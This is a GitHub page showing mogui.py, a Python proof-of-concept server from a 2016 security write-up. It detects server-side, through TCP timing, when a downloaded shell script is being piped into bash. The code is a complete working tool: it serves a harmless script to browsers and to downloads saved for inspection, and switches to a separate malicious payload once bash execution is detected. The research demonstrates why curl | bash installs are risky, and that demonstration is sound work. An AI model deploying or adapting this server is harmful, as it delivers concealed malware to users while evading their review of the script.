-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmogui.py
More file actions
214 lines (146 loc) · 6.6 KB
/
mogui.py
File metadata and controls
214 lines (146 loc) · 6.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
"""This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
A script to detect the use of curl or wget -O - | bash.
See https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
for more details on how this works.
@author Phil
Update: Moser <will.moser@spacecoast.dev>
The original site is down so I've included the code here.
See https://web.archive.org/web/20250622061208/https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ for the archived version.
"""
from numpy import std
import re
import SocketServer
import socket
import ssl
import time
class MoguiServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
"""HTTP server to detect curl | bash"""
daemon_threads = True
allow_reuse_address = True
payloads = {}
ssl_options = None
def __init__(self, server_address):
"""Accepts a tuple of (HOST, PORT)"""
# Socket timeout
self.socket_timeout = 10
# Outbound tcp socket buffer size
self.buffer_size = 87380
# What to fill the tcp buffers with
self.padding = chr(0) * (self.buffer_size)
# Maximum number of blocks of padding - this
# shouldn't need to be adjusted but may need to be increased
# if its not working.
self.max_padding = 16
# HTTP 200 status code
self.packet_200 = ("HTTP/1.1 200 OK\r\n" + \
"Server: Apache\r\n" + \
"Date: %s\r\n" + \
"Content-Type: text/plain; charset=us-ascii\r\n" + \
"Transfer-Encoding: chunked\r\n" + \
"Connection: keep-alive\r\n\r\n") % time.ctime(time.time())
SocketServer.TCPServer.__init__(self, server_address, HTTPHandler)
def setssl(self, cert_file, key_file):
"""Sets SSL params for the server sockets"""
self.ssl_options = (cert_file, key_file)
def setscript(self, uri, params):
"""Sets parameters for each URI"""
(null, good, bad, min_jump, max_variance) = params
null = open(null, "r").read() # Base file with a delay
good = open(good, "r").read() # Non malicious payload
bad = open(bad, "r").read() # Malicious payload
self.payloads[uri] = (null, good, bad, min_jump, max_variance)
class HTTPHandler(SocketServer.BaseRequestHandler):
"""Socket handler for MoguiServer"""
def sendchunk(self, text):
"""Sends a single HTTP chunk"""
self.request.sendall("%s\r\n" % hex(len(text))[2:])
self.request.sendall(text)
self.request.sendall("\r\n")
def log(self, msg):
"""Writes output to stdout"""
print "[%s] %s %s" % (time.time(), self.client_address[0], msg)
def handle(self):
"""Handles inbound TCP connections from MoguiServer"""
# If the two packets are transmitted with a difference in time
# of min_jump and the remaining packets have a time difference with
# a variance of less then min_var the output has been piped
# via bash.
self.log("Inbound request")
# Setup socket options
self.request.settimeout(self.server.socket_timeout)
self.request.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
self.request.setsockopt(socket.SOL_SOCKET,
socket.SO_SNDBUF,
self.server.buffer_size)
# Attempt to wrap the TCP socket in SSL
try:
if self.server.ssl_options:
self.request = ssl.wrap_socket(self.request,
certfile=self.server.ssl_options[0],
keyfile=self.server.ssl_options[1],
server_side=True)
except ssl.SSLError:
self.log("SSL negotiation failed")
return
# Parse the HTTP request
data = None
try:
data = self.request.recv(1024)
except socket.error:
self.log("No data received")
return
uri = re.search("^GET ([^ ]+) HTTP/1.[0-9]", data)
if not uri:
self.log("HTTP request malformed.")
return
request_uri = uri.group(1)
self.log("Request for shell script %s" % request_uri)
if request_uri not in self.server.payloads:
self.log("No payload found for %s" % request_uri)
return
# Return 200 status code
self.request.sendall(self.server.packet_200)
(payload_plain, payload_good, payload_bad, min_jump, max_var) = self.server.payloads[request_uri]
# Send plain payload
self.sendchunk(payload_plain)
if not re.search("User-Agent: (curl|Wget)", data):
self.sendchunk(payload_good)
self.sendchunk("")
self.log("Request not via wget/curl. Returning good payload.")
return
timing = []
stime = time.time()
for i in range(0, self.server.max_padding):
self.sendchunk(self.server.padding)
timing.append(time.time() - stime)
# ReLU curve analysis
max_array = [timing[i+1] - timing[i] for i in range(len(timing)-1)]
jump = max(max_array)
del max_array[max_array.index(jump)]
var = std(max_array) ** 2
self.log("Variance = %s, Maximum Jump = %s" % (var, jump))
# Payload choice
if var < max_var and jump > min_jump:
self.log("Execution through bash detected - sending bad payload :D")
self.sendchunk(payload_bad)
else:
self.log("Sending good payload :(")
self.sendchunk(payload_good)
self.sendchunk("")
self.log("Connection closed.")
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 5555
SERVER = MoguiServer((HOST, PORT))
SERVER.setscript("/setup.bash", ("ticker.sh", "good.sh", "bad.sh", 2.0, 0.1))
SERVER.setssl("cert.pem", "key.pem")
print "Listening on %s %s" % (HOST, PORT)
SERVER.serve_forever()